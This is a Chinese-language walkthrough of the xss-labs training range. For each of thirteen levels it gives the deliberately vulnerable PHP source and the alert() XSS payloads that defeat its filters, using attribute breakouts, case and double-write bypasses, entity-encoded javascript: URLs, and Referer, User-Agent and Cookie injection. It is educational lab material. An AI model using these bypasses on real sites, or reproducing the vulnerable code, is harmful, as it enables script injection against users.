XSS基礎靶場練習

目錄

1. 準備靶場
2. PASS
1. Level 1:無過濾
源碼:
2. level2:轉HTML實體
htmlspecialchars簡介:
源碼
PASS
3. level3:轉HTML深入
源碼:
PASS
4. level4:過濾<>
源碼:
PASS:
5. level5:過濾on
源碼:
PASS:
6. level6:大小寫繞過
源碼:
PASS:
7. level7:雙寫繞過
源碼:
PASS:
8. level8:Unicode編碼
源碼:
PASS:
9. level9:http://
源碼:
PASS:
10. level10:type屬性
源碼:
PASS:
11. level11:Referer
源碼:
PASS:
12. level12:User-Agent
源碼:
PASS:
13. level13:Cookie
源碼:
PASS:

1. 準備靶場

xss-labs-all

這是一個很簡單的xss入門級靶場

2. PASS

1. Level 1:無過濾

這一關很簡單,因為它沒有做任何過濾,雖然很簡單,但是在實際中確實很容易出現。

源碼:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level2.php?keyword=test"; }</script><title>歡迎來到level1</title></head><body><h1 align=center>歡迎來到level1</h1><?php ini_set("display_errors", 0);$str = $_GET["name"];echo "<h2 align=center>歡迎用戶".$str."</h2>";?><center><img src=level1.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";?></body></html>?
PASS:<script>alert(1)</script>

PA


SS:

由于沒有做任何過濾,所以使用什么標簽都可以passaimgsvg等都行。如下:

<script>alert(1)</script>

?<img src=1 onerror=alert(1)>

?<svg/onload=alert(1)>

2. level2:轉HTML實體

這一關使用了htmlspecialchars函數,把特殊字符轉換為HTML實體,也就是說<>會被轉換,我們知道,javascript:協議一旦被編碼就不能識別,不能識別就不能觸發事件。

htmlspecialchars簡介:

htmlspecialchars 函數會將特殊字符轉換為 HTML 實體,以防止跨站腳本攻擊(XSS)并確保這些字符在 HTML 中正確顯示。具體來說,它會轉換以下字符:

  • & 轉換為 &amp;

  • < 轉換為 &lt;

  • > 轉換為 &gt;

  • " 轉換為 &quot;

  • ' 轉換為 &#039;(取決于使用的標志)

源碼

?<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level3.php?writing=wait"; }</script><title>歡迎來到level2</title></head><body><h1 align=center>歡迎來到level2</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form action=level2.php method=GET><input name=keyword  value="'.$str.'"><input type=submit name=submit value="搜索"/></form></center>';?><center><img src=level2.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";?></body></html>

PASS

那么這一關怎么處理呢,兩種辦法

一、閉合"

二、閉合>,但是要注意,閉合>的時候還需要配合一下"

如下:

雙引號:"

aa" onclick="alert(1)

尖括號:>

?aa"><scropt>alert(1)</script>

3. level3:轉HTML深入

這一關也是使用htmlspecialchars函數,把特殊字符轉換為HTML實體。

不同的是更深入一層,這里引入該函數的一些屬性:

這里看出,如果它設置了對應屬性的話,引號就會被轉換,那我們來試一下到底轉換的是哪個引號還是引號全部轉換。

源碼:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level4.php?keyword=try harder!"; }</script><title>歡迎來到level3</title></head><body><h1 align=center>歡迎來到level3</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center><form action=level3.php method=GET><input name=keyword  value='".htmlspecialchars($str)."'>  <input type=submit name=submit value=搜索 /></form></center>";?><center><img src=level3.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";?></body></html>

PASS

嘗試"

?aa" onclick="alert(1)

可以明顯看到不行,這里alert都沒有是識別,說明針對雙引號的屬性被設置了,再試一試單引號。

嘗試'

?aa' onclick='alert(1)

這里成功了,那就說明,這里沒有設置過濾'的屬性。

除此之外,這一關還有一種做法,如下:

JavaScript中有一個函數onfocus,用于輸入框input,select,a標簽獲得焦點的事件

所以這樣構造:

?'?onfocus=javascript:alert()?'

也是可以的。

4. level4:過濾<>

這一關吧,本意是不讓我們閉合<>,所以其他方法就可以完成了。但是這一關折射出的問題其實是與用戶的交互。對于這一關而言,需要與用戶交互才會有漏洞,這樣的漏洞危害性并不高。

而且仔細分析就會發現,僅使用單引號是不行的,因為它用的是"包住'了。

源碼:
?<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level5.php?keyword=find a way out!"; }</script><title>歡迎來到level4</title></head><body><h1 align=center>歡迎來到level4</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace(">","",$str);$str3=str_replace("<","",$str2);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form action=level4.php method=GET><input name=keyword  value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level4.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>";?></body></html>

PASS:

<>

?aa" onclick="alert(1)

非用戶交互:

?aa"autofocus onfocus="alert(1)

5. level5:過濾on

這一關把on事件都過濾了,也就是說這里不能使用on了,而且使用strtolower函數預防大小寫,那怎么辦呢。

那么我們就換一個不帶on但是也能達到我們目的的標簽,比如a標簽。

我們把POC插入帶a標簽的href屬性中,然后點擊我們設置的目標,就可以了。

源碼:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level6.php?keyword=break it out!"; }</script><title>歡迎來到level5</title></head><body><h1 align=center>歡迎來到level5</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form action=level5.php method=GET><input name=keyword  value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level5.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>";?></body></html>

PASS:

?a"><a href="javascript:alert(1)">click</a>

6. level6:大小寫繞過

這一關把a、img、svg、<script等進行了過濾,基本上我們在前面使用過的方法都使用不了。但是就跟SQL注入一樣,這里的過濾并不包含大寫,所以我們可以使用大小寫繞過。

源碼:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level7.php?keyword=move up!"; }</script><title>歡迎來到level6</title></head><body><h1 align=center>歡迎來到level6</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form action=level6.php method=GET><input name=keyword  value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level6.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str6)."</h3>";?></body></html>

PASS:

?a"><ScRiPt>alert(1)</ScRiPt>

這里只演示了一種,其實還有還幾種構造語句,如下:

?腳本注入a"><SCRIPT>alert()</SCRIPT><"焦點事件a"ONDOCUS=javascript:alert()"a標簽href屬性的a"><a?HREF=javascript:alert()>x</a><"

7. level7:雙寫繞過

這一關在上一關的基礎上把大小寫也過濾掉了,也就是說我們是真的不能使用之前用過的方法了。

那么怎么辦呢? 在這一關我們可以嘗試一下雙寫繞過,以為我們分析一下會發現,它雖然會過濾很多條件,但是僅僅是單次攔截,并不是多次,所以雙寫繞過是可以的

源碼:
?<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level8.php?keyword=nice try!"; }</script><title>歡迎來到level7</title></head><body><h1 align=center>歡迎來到level7</h1><?php ini_set("display_errors", 0);$str =strtolower( $_GET["keyword"]); ?大小寫不行$str2=str_replace("script","",$str); ?script不行$str3=str_replace("on","",$str2); ? ? 需要on的標簽不行$str4=str_replace("src","",$str3); ? ?img標簽不行$str5=str_replace("data","",$str4); ? $str6=str_replace("href","",$str5); ? a標簽不行echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form action=level7.php method=GET><input name=keyword  value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level7.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str6)."</h3>";?></body></html>

PASS:

?a"><scrscriptipt>alert(1)</scrscriptipt>

8. level8:Unicode編碼

這一關,看著過濾法則,似乎含嚴格,幾乎把常規的手段都過濾了,什么大小寫、雙寫、標簽...都不行。怎么辦?

這一關有一個友情鏈接那說明我們的輸入的接收屬性是a標簽的href屬性,而這個屬性會自動對Unicode編碼進行解碼,那如果我們把POC進行Unicode編碼,然后當做URL寫入href,那么隨著hrefUnicode的解碼,我們的POC不就能夠識別了嗎。

這一關本質是對編碼知識的考查,對編碼越了解就越簡單。

源碼:
?<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level9.php?keyword=not bad!"; }</script><title>歡迎來到level8</title></head><body><h1 align=center>歡迎來到level8</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo '<center><form action=level8.php method=GET><input name=keyword  value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情鏈接 /></form></center>';?><?phpecho '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';?><center><img src=level8.jpg></center><?php echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>";?></body></html>

PASS:

?javascript:alert()
?&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;&#10;

9. level9:http://

在上一關我們投機取巧,直接使用編碼拿下POC,但是在這一關不行了,這一關加了一個硬性條件,就是必須要有http://,沒有它不行。

那我們可以嘗試在編碼的末尾加上它。

源碼:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level10.php?keyword=well done!"; }</script><title>歡迎來到level9</title></head><body><h1 align=center>歡迎來到level9</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo '<center><form action=level9.php method=GET><input name=keyword  value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情鏈接 /></form></center>';?><?phpif(false===strpos($str7,'http://')){echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';}else{echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';}?><center><img src=level9.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>";?></body></html>

PASS:

?&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/*?<http://>?*/?或者?&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

10. level10:type屬性

這一關把input標簽隱藏掉了,雖然可以使用GET型輸入把POC傳進去,但是觸發不了,所以要想辦法把input標簽拿出來才行

源碼:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level11.php?keyword=good job!"; }</script><title>歡迎來到level10</title></head><body><h1 align=center>歡迎來到level10</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str11 = $_GET["t_sort"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level10.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";?></body></html>

PASS:

?t_sort=a" onclick=alert(1) type="text"

通過改變type屬性的方法,把input標簽拿出來。

11. level11:Referer

這一關在上一關的基礎上加上了一個過濾,所以直接使用上一關的方法是不行的。還要配合其他方法。

這里就引入Referer這個屬性了,在html里它表示用戶的來源。

這里建議使用Firefox瀏覽器來做,它的一個插件HackBar很適合做這一關。

源碼:

?<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level12.php?keyword=good job!"; }</script><title>歡迎來到level11</title></head><body><h1 align=center>歡迎來到level11</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_REFERER'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ref"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level11.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";?></body></html>

PASS:

?a" onclick=alert(1) type="text"

12. level12:User-Agent

這一關就是修改User-Agent屬性。跟上一關的原理一樣。

源碼:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level13.php?keyword=good job!"; }</script><title>歡迎來到level12</title></head><body><h1 align=center>歡迎來到level12</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_USER_AGENT'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ua"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level12.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";?></body></html>

PASS:

?a" onclick=alert(1) type="text"

13. level13:Cookie

同理,利用Cookie。

源碼:

<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level14.php"; }</script><title>歡迎來到level13</title></head><body><h1 align=center>歡迎來到level13</h1><?php setcookie("user", "call me maybe?", time()+3600);ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_COOKIE["user"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_cook"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level13.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";?></body></html>

PASS:

?user=a" onclick=alert(1) type="text"

這個靶場后面還有機關,但是涉及的技術是flash,已經被淘汰了,所以就做到這里吧。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/898739.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/898739.shtml
英文地址,請注明出處:http://en.pswp.cn/news/898739.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

2025年3月AI搜索發展動態與趨勢分析:從技術革新到生態重構

025年3月AI搜索發展動態與趨勢分析&#xff1a;從技術革新到生態重構 一、行業動態&#xff1a;巨頭布局與技術升級 谷歌推出“AI模式”&#xff0c;重新定義搜索體驗 谷歌上線全新“AI模式”&#xff0c;集成多模態交互與實時數據能力&#xff0c;用戶可通過文本、圖片或語音…

熔斷降級(Sentinel解決)

問題概述 在微服務架構中一定要預防微服務雪崩問題&#xff0c;微服務雪崩問題就是指在微服務架構中&#xff0c;當一個服務出現故障時&#xff0c;由于服務之間的依賴關系&#xff0c;故障可能會傳播到其他服務&#xff0c;從而導致了大規模的服務失敗&#xff0c;系統無法正…

Qt高分屏自適應

一.設置默認 DPI 感知 Windows 上的桌面應用程序可以在不同的 DPI 感知模式下運行。 這些模式可實現不同的 DPI 縮放行為,并且可以使用不同的坐標空間。 有關 DPI 感知的詳細信息,請參閱在 Windows 上開發高 DPI 桌面應用程序。 請務必顯式為進程設置默認 DPI 感知模式,以避…

TPCTF 2025 web 復現

文章目錄 baby layoutsafe layoutSafe Layout Revengesupersqli baby layout 在index.js文件中&#xff0c;看到了有使用DOMPurify庫來防止XSS操作 在package.json里可以看到版本是3.2.4,關于3.2.3是有繞過策略的。它會把script標簽清除掉&#xff0c;去看bot可以看到flag是放…

Agent Team 多智能體系統解析

引言 在人工智能技術高速發展的今天&#xff0c;"多智能體協作系統"&#xff08;Agent Team&#xff09;正成為突破效率瓶頸的關鍵技術。與傳統的單體AI不同&#xff0c;這種由多個專業化智能體組成的協同網絡&#xff0c;通過分工協作和動態調整&#xff0c;展現出…

【前端 vue 或者麥克風,智能語音識別和播放功能】

前端 vue 或者麥克風&#xff0c;智能語音識別和播放功能 1. 終端安裝 npm install recordrtc2.引入 import RecordRTC from recordrtc3.html&#xff08;根據自己業務更改&#xff09; <div class"Page"><el-form ref"mainFormRef" class&qu…

bootstrap 表格插件bootstrap table 的使用經驗談!

最近在開發一個物業管理軟件&#xff0c;其中用到bootstrap 的模態框。同時需要獲取表格數據。用傳統的方法&#xff0c;本人不想用&#xff0c;考慮到bootstrap應該有獲取表格數據的方法&#xff0c;結果發現要想實現獲取表格數據功能&#xff0c;需要通過bootstrap的插件實現…

HTML 圖像與多媒體元素:拓展學習邊界的進度記錄(一)

開篇&#xff1a;學習啟程 在前端開發的廣袤領域中&#xff0c;HTML 作為構建網頁的基石&#xff0c;其重要性不言而喻。而 HTML 圖像與多媒體元素&#xff0c;就像是為這座基石添上了絢麗的色彩與靈動的音符&#xff0c;賦予網頁更加豐富的表現力和交互性。作為一名熱衷于探索…

循環不變量原則——螺旋矩陣

題目&#xff1a;螺旋矩陣 本題相較于螺旋矩陣II的不同之處是&#xff1a;螺旋矩陣II的矩陣是n行n列的方陣&#xff0c;而本題的矩陣并不一定是方陣。所以在遵循循環不變量原則遍歷完矩陣后&#xff0c;還會有一行或者一列沒有遍歷。 1、行多列少&#xff08;多一列沒遍歷&am…

【前端】Visual Studio Code安裝配置教程:下載、漢化、常用組件、基本操作

文章目錄 一、Visual Studio Code下載二、漢化三、常用組件1、Auto Rename Tag2、view-in-browser3、Live Server 四、基本操作五、感謝觀看&#xff01; 一、Visual Studio Code下載 下載官網&#xff1a;https://code.visualstudio.com/ 進入官網后點擊右上角的Download &…

Java對象的hashcode

在 Java 中&#xff0c;hashcode 和 equals 方法是 Object 類的兩個重要方法&#xff0c;它們在處理對象比較和哈希集合&#xff08;如 HashMap、HashSet&#xff09;時起著關鍵作用。對于equals大部分Java程序員都不陌生&#xff0c;它通常是比較兩個對象的內容(值)是否相等(雙…

Ubuntu22.04通過DKMS包安裝Intel WiFi系列適配器(網卡驅動)

下載驅動包 訪問 backport-iwlwifi-dkmshttps://launchpad.net/ubuntu/source/backport-iwlwifi-dkms 網站&#xff0c;找到適用于Ubuntu 22.04的update版本&#xff08;如backport-iwlwifi-dkms_xxxx_all.deb&#xff09;&#xff0c;下載至本地。 安裝驅動 在下載目錄中執行以…

深度學習--概率

1 基本概率論 1.1 假設我們擲骰子&#xff0c;想知道1而不是看到另一個數字的概率&#xff0c;如果骰子是公司&#xff0c;那么所有6個結果(1..6),都有相同的可能發生&#xff0c;因此&#xff0c;我們可以說1發生的概率為1/6. 然而現實生活中&#xff0c;對于我們從工廠收到的…

kaggle上經典泰坦尼克項目數據分析探索

之前了解在kaggle上這個項目很火&#xff0c;最近想要加強一下python數據分析&#xff0c;所以在kaggle上找到這個項目進行學習探索&#xff0c;下面是將一些學習資料以及過程整理出來。 一、首先我們了解一下項目背景以及如何找到這個項目。 kaggle項目地址: https://www.k…

《深度剖析:鴻蒙系統不同終端設備的UI自適應布局策略》

在萬物互聯的時代&#xff0c;鴻蒙系統以其獨特的分布式理念和強大的技術架構&#xff0c;迅速在智能終端領域嶄露頭角。隨著鴻蒙生態的不斷壯大&#xff0c;越來越多的開發者投身其中&#xff0c;致力于為用戶打造豐富多樣的應用體驗。然而&#xff0c;如何讓應用在不同終端設…

計算機網絡的軟件、硬件和組成

&#xff11;.計算機網絡的組成 計算機網絡是一個十分復雜的系統&#xff0c;在邏輯上可以分為完成數據通信的通信子網和進行數據處理的資源子網兩個部分。 通信子網 通信子網提供網絡通信的功能&#xff0c;可以完成網絡主機之間的數據傳輸、交換、通信控制和信號變換等通信…

告別低效人工統計!自動計算計劃進度

實時監控任務進度一直是項目管理中的一項巨大挑戰。 人工統計方式不僅耗時耗力&#xff0c;而且往往由于信息傳遞的延遲和人為誤差&#xff0c;導致無法實時獲得準確的項目進展信息。 這種不準確性可能掩蓋潛在的風險點&#xff0c;從而影響項目的整體進度和成果。 Ganttable …

樓宇自控系統的結構密碼:總線與分布式結構方式的差異與應用

在現代建筑中&#xff0c;為了實現高效、智能的管理&#xff0c;樓宇自控系統變得越來越重要。它就像建筑的 智能管家&#xff0c;可自動控制照明、空調、通風等各種機電設備&#xff0c;讓建筑運行更順暢&#xff0c;還能節省能源成本。而在樓宇自控系統里&#xff0c;有兩種關…

OpenWrt開發第4篇:設置開發板的IP-基于Raspberry Pi 4B開發板

文/指尖動聽知識庫-谷谷 文章為付費內容,商業行為,禁止私自轉載及抄襲,違者必究!!! 文章專欄:Openwrt開發-基于Raspberry Pi 4B開發板 有時候開發過程中經常會使用其他路由器,很多時候固件燒上去之后板子IP基本都是192.168.1.1,這時就需要修改板子的IP,下面介紹一下板…

Node.js系列(4)--微服務架構實踐

Node.js微服務架構實踐 &#x1f504; 引言 微服務架構已成為構建大規模Node.js應用的主流選擇。本文將深入探討Node.js微服務架構的設計與實現&#xff0c;包括服務拆分、服務治理、通信機制等方面&#xff0c;幫助開發者構建可擴展的微服務系統。 微服務架構概述 Node.js…